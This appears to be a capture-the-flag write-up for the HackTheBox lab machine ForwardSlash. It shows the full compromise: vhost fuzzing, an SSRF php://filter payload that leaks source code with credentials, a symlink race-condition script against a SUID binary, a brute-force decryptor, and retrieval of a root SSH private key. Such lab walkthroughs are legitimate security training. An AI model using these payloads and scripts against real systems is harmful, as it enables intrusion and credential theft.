HackTheBox - ForwardSlash
ForwardSlash is a Linux HackTheBox machine, which involved fuzzing virtual hosts to find a web application vulnerable to SSRF, exploiting the vulnerability to read a local file accessible only from localhost, that contained the plaintext password for user chiv, exploiting a race condition in a SUID binary, and writing a custom decryptor tool to recover the key used to encrypt a LUKS container, in which the SSH private key for the root user was stored.
Reconnaissance
Port scan
Let’s start off with a full TCP port scan with service detection.
$ nmap -Pn -p- -sV --max-retries 1 -oA nmap/full 10.10.10.183
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Webapp on port 80
When trying to load the website using the box IP address, the browser gets redirected to the hostname forwardslash.htb
which doesn’t know how to resolve, so we need to add the following entry to /etc/hosts
to map the hostname to the box IP address.
10.10.10.183 forwardslash.htb
We can then reload the page with the browser.
If we navigate to /note.txt
we can see that there’s an interesting note left by user chiv
, which contains a reference to a backup website.
Pain, we were hacked by some skids that call themselves the "Backslash Gang"... I know... That name...
Anyway I am just leaving this note here to say that we still have that backup site so we should be fine.
-chiv
VHost Fuzzing
Since there’s a mention to a backup site, in the note left by user chiv
, we can brute force the virtual hosts using ffuf
. This way we discover that a vhost
for backup.forwardslash.htb
.
$ wfuzz -H 'Host: FUZZ.forwardslash.htb' -u http://10.10.10.183/ \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
--hc 400 --hh 0 \
| tee enum/subdomains.log
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000055: 302 0 L 6 W 33 Ch "backup"
After adding the new vhost to the /etc/hosts
entry we previously added for the machine IP address, we can access the backup site at: backup.forwardslash.htb
.
We can then proceed by registering a dummy account and login with it. Once logged in, we are redirected to the user dashboard page.
Content discovery
While poking at the different pages that can be reached from the dashboard, we can run ffuf
in the background and attempt to discover additional directory and php files which exists on the server.
$ ffuf -u "http://backup.forwardslash.htb/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt \
-e .php -o enum/ffuf-backup-phpfiles.log
[...]
config.php [Status: 200, Size: 0, Words: 1, Lines: 1]
dev [Status: 301, Size: 332, Words: 20, Lines: 10]
index.php [Status: 302, Size: 1, Words: 1, Lines: 1]
welcome.php [Status: 302, Size: 33, Words: 6, Lines: 1]
environment.php [Status: 302, Size: 0, Words: 1, Lines: 1]
server-status [Status: 403, Size: 288, Words: 20, Lines: 10]
hof.php [Status: 302, Size: 0, Words: 1, Lines: 1]
reset-password.php [Status: 302, Size: 0, Words: 1, Lines: 1]
index.php [Status: 302, Size: 1, Words: 1, Lines: 1]
The most interesting result is the /dev
directory. If we try to navigate to access it, we get a 403 with a message that suggest that there’s some access control mechanism that denies connection from our IP address.
SSRF and Local File Disclosure
Going back to the dashboard, we can see that there’s a page which allows the user to change the profile picture (profilepicture.php
).
There’s another note above the URL form field, which may suggest that the form has been disabled because it contains some vulnerability. Luckily for us, by inspecting the page HTML, we can see that the developers added the disabled
key to the submit button.
<form action="/profilepicture.php" method="post">
URL:
<input type="text" name="url" disabled style="width:600px" /><br />
<input style="width:200px" type="submit" value="Submit" disabled />
</form>
If we can send a POST request with the expected url
parameter, we can see that the endpoint hasn’t been taken down and still responds to requests.
#!/bin/bash
SERVERFILE=$1
COOKIE=c73ad7dc070ie[...]
curl -s -b $COOKIE -d "url=$SERVERFILE" http://backup.forwardslash.htb/profilepicture.php
After discoverying that the server discloses any local file assigned to the url
parameter, (e.g. url=/etc/password
), we can use the following payload to bypass the access controls on dev/index.php
, and read the source code.
url=php://filter/convert.base64-encode/resource=/var/www/backup.forwardslash.htb/dev/index.php
By base64 decoding the downloaded file, we can see the PHP source code of the page, that contains hardcocded plaintext FTP credentials for user chiv
.
[...]
$conn_id = ftp_connect($ip) or die("Couldn't connect to $ip\n");
error_log("Logging in");
if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) {
error_log("Getting file");
echo ftp_get_string($conn_id, "debug.txt");
}
exit;
}
[...]
Initial access
User chiv
has reused the credentials for SSH, so we can get a shell on the box as him, using the credentials we just found with SSH.
ssh [email protected]
chiv@forwardslash:~$
If we then run linPEAS enumeration script, we can notice that there’s a SUID binary named backup
, that is not default on Linux installations.
...[snippet]...
/usr/bin/newuidmap
/usr/bin/backup
/usr/bin/newgidmap
/usr/lib/snapd/snap-co
...[snippet]...
The backup
binary is owned by user pain
.
chiv@forwardslash:~$ stat /usr/bin/backup
File: /usr/bin/backup
Size: 13384 Blocks: 32 IO Block: 4096 regular file
Device: 802h/2050d Inode: 804211 Links: 1
Access: (4555/-r-sr-xr-x) Uid: ( 1000/ pain) Gid: ( 1000/ pain)
Access: 2020-04-30 15:09:24.122342585 +0000
Modify: 2020-03-06 10:06:29.512014784 +0000
Change: 2020-03-06 10:07:15.671869287 +0000
Birth: -
We can get an idea of what the binary is doing by running ltrace
on it
chiv@forwardslash:~$ ltrace /usr/bin/backup
getuid() = 1001
getgid() = 1001
puts("--------------------------------"...----------------------------------------------------------------------
Pain's Next-Gen Time Based Backup Viewer
v0.1
NOTE: not reading the right file yet,
only works if backup is taken in same second
----------------------------------------------------------------------
) = 277
time(0) = 1588264296
localtime(0x7fffae99d2b0) = 0x7f13f078b6a0
malloc(13) = 0x55c68a9388e0
sprintf("16:31:36", "%02d:%02d:%02d", 16, 31, 36) = 8
strlen("16:31:36") = 8
malloc(33) = 0x55c68a938900
MD5_Init(0x7fffae99d200, 4000, 0x55c68a938900, 0x55c68a938900) = 1
MD5_Update(0x7fffae99d200, 0x55c68a9388e0, 8, 0x55c68a9388e0) = 1
MD5_Final(0x7fffae99d260, 0x7fffae99d200, 0x7fffae99d200, 0) = 1
[...]
nprintf("e0", 32, "%02x", 0xe0) = 2
snprintf("40", 32, "%02x", 0x40) = 2
printf("Current Time: %s\n", "16:31:36"Current Time: 16:31:36
) = 23
setuid(1002) = -1
setgid(1002) = -1
access("757c8d3167c81207e32406708bf8e040"..., 0) = -1
printf("ERROR: %s Does Not Exist or Is N"..., "757c8d3167c81207e32406708bf8e040"...ERROR: 757c8d3167c81207e32406708bf8e040 Does Not Exist or Is Not Accessible By Me, Exiting...
) = 94
setuid(1001) = 0
setgid(1001) = 0
remove("757c8d3167c81207e32406708bf8e040"...) = -1
+++ exited (status 0) +++
Privilege Escalation to user pain
Enumeration
From the ltrace
dump, we can see that binary takes the hour:minutes:seconds
part of the date/time string, and calculate its hash using MD5. Infact, by calculating the MD5 hash of the timestamp in the sprintf()
function in the ltrace output above, we get the filename of the backup file that the binary was trying to read.
chiv@forwardslash:/tmp/rc$ echo -n "16:31:36" | md5sum
757c8d3167c81207e32406708bf8e040 -
Inside /var/backups
there are a few .bak
files (only 1 of them is owned by pain though) and a note written by user pain
chiv@forwardslash:/var/backups$ cat note.txt
Chiv, this is the backup of the old config, the one with the password we need to actually keep safe.
Please DO NOT TOUCH.
-Pain
The file he’s referring to is also in the same directory. The file is owned by pain, which means we can read it using the backup binary.
-rw------- 1 pain pain 526 Jun 21 2019 config.php.bak
Exploiting the Race Condition
With a simple bash script we can trick the backup
binary into reading the config file, by creating a symlink to it.
The symlink filename must be equal to the md5 hash of the timestamp, so that it matches the file that the backup
binary tries to read.
while true; do
CTIME=$(date | cut -d" " -f4)
echo "SAMPLED TIME: ${CTIME}"
FNAME=$(echo -n $CTIME | md5sum | cut -d" " -f1);
ln -s /var/backups/config.php.bak $FNAME; /usr/bin/backup;
sleep 0.5;
rm $FNAME;
done
SAMPLED TIME: 17:13:08
----------------------------------------------------------------------
Pain's Next-Gen Time Based Backup Viewer
v0.1
NOTE: not reading the right file yet,
only works if backup is taken in same second
----------------------------------------------------------------------
Current time: 17:13:08
<?php
/* Database credentials. Assuming you are running MySQL
server with default setting (user 'root' with no password) */
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'pain');
define('DB_PASSWORD', 'db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704');
define('DB_NAME', 'site');
/* Attempt to connect to MySQL database */
$link = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
// Check connection
if($link === false){
die("ERROR: Could not connect. " . mysqli_connect_error());
}
?>
We can switch to user pain with the password we just found inside the config file, and read the user flag.
chiv@forwardslash:/tmp/rc$ su pain
Password: # db1f73a72678e857d[...]
As user pain
we can read the user flag:
pain@forwardslash:~$ cat user.txt | cut -b 1-8
4c486f44
Privilege Escalation to root
Enumeration
Inside pain
’s home directory, there’s another note written by user chiv
.
pain@forwardslash:~$ ls -l
total 12
drwxr-xr-x 2 pain root 4096 Apr 30 22:04 encryptorinator
-rw-r--r-- 1 pain root 256 Jun 3 2019 note.txt
-rw------- 1 pain pain 33 Apr 30 20:55 user.txt
pain@forwardslash:~$ cat note.txt
Pain, even though they got into our server, I made sure to encrypt any important files and then did some crypto magic on the key...
I gave you the key in person the other day, so unless these hackers are some crypto experts we should be good to go.
-chiv
User pain is in the backupoperator
group:
pain@forwardslash:/var/backups/recovery$ id
uid=1000(pain) gid=1000(pain) groups=1000(pain),1002(backupoperator)
Knowing that, we can use the find
command to search for files with backupowner
group ownership.
pain@forwardslash:/var/backups$ find / -type f -group backupoperator 2>/dev/null
/var/backups/recovery/encrypted_backup.img
Users in the backupoperator
group have access to /var/backups/recovery
which is owned by root:backupoperator
.
pain@forwardslash:/var/backups/recovery$ ls -al
total 976576
drwxrwx--- 2 root backupoperator 4096 May 27 2019 .
drwxr-xr-x 3 root root 4096 Mar 24 10:10 ..
-rw-r----- 1 root backupoperator 1000000000 Mar 24 12:12 encrypted_backup.img
By reading the first few bytes of the image file we can see that it is a LUKS encrypted container. Since we don’t know the password needed to decrypt it, we can leave it there for now and move on to the encryptorinator scripts.
pain@forwardslash:/var/backups/recovery$ strings encrypted_backup.img | head
LUKS
xts-plain64
sha256
QGf2a0906a-c412-48db-8c18-3b72443c1bdf
cnt
d}`3
...[snippet]...
We can then download all encryptorinator/*
files via SSH, and inspecting them on our box.
$ mkdir encryptor && cd encryptor
scp [email protected]:/home/pain/encryptorinator/encrypter.py .
scp [email protected]:/home/pain/encryptorinator/ciphertext .
Creating a custom decryptor script
The encrypter.py
script contains both the encryption and decryption functions. The key is not hardcoded, but since we have the ciphertext, we can try to guess the key.
To do that we write a python script, which brute forces the key using a wordlist, and checks if the plaintext contains any word we added to our keyword wordlist.
import sys
def get_file_contents(filepath):
with open(filepath, 'r') as fd:
return fd.read().strip()
def decrypt(key, msg):
key = list(key)
msg = list(msg)
for char_key in reversed(key):
for i in reversed(range(len(msg))):
if i == 0:
tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
else:
tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1]))
while tmp < 0:
tmp += 256
msg[i] = chr(tmp)
return ''.join(msg)
if __name__ == '__main__':
if len(sys.argv) < 3:
print('Error. Too few arguments supplied to the script')
sys.exit(1)
# read ciphertext
print('Reading ciphertext ...')
ciphertext = ''
with open(sys.argv[1], 'r') as ct:
ciphertext = ct.read().strip()
# read file with keywords to search for in the plaintext
print('Loading keywords ...')
keywords = []
with open(sys.argv[3], 'r') as kw:
keywords = [k.strip() for k in kw.readlines()]
print('{} loaded!'.format(len(keywords)))
# Read wordlist line by line
print('Loading wordlist ...')
wordlist = []
with open(sys.argv[2], 'r') as wl:
wordlist = [w.strip() for w in wl.readlines() if w]
print('{} words loaded!'.format(len(wordlist)))
print('Ready to start with bruteforcing ...')
counter = 0
for word in wordlist:
# Attempt decryption with key from wordlist
plaintext = decrypt(word, ciphertext)
# Check if plaintext contains any keywords
for kw in keywords:
if kw in plaintext:
print('*' * 20 + ' SUCCESS ' + '*' * 20 + '\n')
print('KEY: {}'.format(word))
print('PLAINTEXT:\n{}'.format(plaintext))
sys.exit(0)
# Print checkpoints
counter += 1
if counter % 100 == 0:
print('{} keys tried ...'.format(counter))
As noted before, in order to determine if the decryption key is correct, after each decryption attempt, the script checks if a list of keywords are in the plaintext. We can made a quick wordlist with the words that can realistically be in the plaintext, and run the brute forcing script.
$ cat keywords.txt
chiv
pain
key
secret
root
slash
crypto
keep
$ ./brute.py ciphertext ~/tools/wordlists/rockyou.txt keywords.txt
Reading ciphertext ...
Loading keywords ...
8 loaded!
Loading wordlist ...
14344394 words loaded!
Ready to start with bruteforcing ...
100 keys tried ...
200 keys tried ...
300 keys tried ...
400 keys tried ...
500 keys tried ...
[...]
44700 keys tried ...
44800 keys tried ...
44900 keys tried ...
45000 keys tried ...
45100 keys tried ...
45200 keys tried ...
45300 keys tried ...
45400 keys tried ...
45500 keys tried ...
45600 keys tried ...
******************** SUCCESS ********************
KEY: teamareporsiempre
PLAINTEXT:
H[2fv/vXLlyyou liked my new encryption tool, pretty secure huh, anyway here is
the key to the encrypted image from /var/backups/recovery: cB!6%sdH8Lj^@Y*$C2cf
Decrypting and reading backup files
With sudo -l
we can see that pain
is allowed to run cryptsetup
, mount
and umount
commands as root (with sudo
). Those commands can be used to decrypt, mount and unmount the image respectively.
pain@forwardslash:/var/backups/recovery$ sudo -l
Matching Defaults entries for pain on forwardslash:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User pain may run the following commands on forwardslash:
(root) NOPASSWD: /sbin/cryptsetup luksOpen *
(root) NOPASSWD: /bin/mount /dev/mapper/backup ./mnt/
(root) NOPASSWD: /bin/umount ./mnt/
We can then decrypt and mount the image
pain@forwardslash:/var/backups/recovery$ mkdir backup
pain@forwardslash:/var/backups/recovery$ sudo /sbin/cryptsetup luksOpen encrypted_backup.img backup
pain@forwardslash:/var/backups/recovery$ mkdir mnt
pain@forwardslash:/var/backups/recovery$ sudo /bin/mount /dev/mapper/backup ./mnt/
The encrypted backup contains the SSH private key of the root user.
pain@forwardslash:/var/backups/recovery$ cd mnt
pain@forwardslash:/var/backups/recovery/mnt$ ls -al
total 8
drwxr-xr-x 2 root root 20 Mar 17 20:07 .
drwxrwx--- 3 root backupoperator 4096 May 1 00:49 ..
-rw-r--r-- 1 root root 1675 May 27 2019 id_rsa
pain@forwardslash:/var/backups/recovery/mnt$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA9i/r8VGof1vpIV6rhNE9hZfBDd3u6S16uNYqLn+xFgZEQBZK
RKh+WDykv/gukvUSauxWJndPq3F1Ck0xbcGQu6+1OBYb+fQ0B8raCRjwtwYF4gaf
yLFcOS111mKmUIB9qR1wDsmKRbtWPPPvgs2ruafgeiHujIEkiUUk9f3WTNqUsPQc
u2AG//ZCiqKWcWn0CcC2EhWsRQhLOvh3pGfv4gg0Gg/VNNiMPjDAYnr4iVg4XyEu
[...]
OENgOQKBgD/mYgPSmbqpNZI0/B+6ua9kQJAH6JS44v+yFkHfNTW0M7UIjU7wkGQw
ddMNjhpwVZ3//G6UhWSojUScQTERANt8R+J6dR0YfPzHnsDIoRc7IABQmxxygXDo
ZoYDzlPAlwJmoPQXauRl1CgjlyHrVUTfS0AkQH2ZbqvK5/Metq8o
-----END RSA PRIVATE KEY-----
We can send the key to our attacker box, or simply copy and paste the key into a local file, and use it to SSH into the box as root.
chmod 600 id_rsa
ssh -i id_rsa [email protected]
...[snippet]...
root@forwardslash:~#
Root flag
root@forwardslash:~# cat root.txt | cut -b 1-8
b9616fb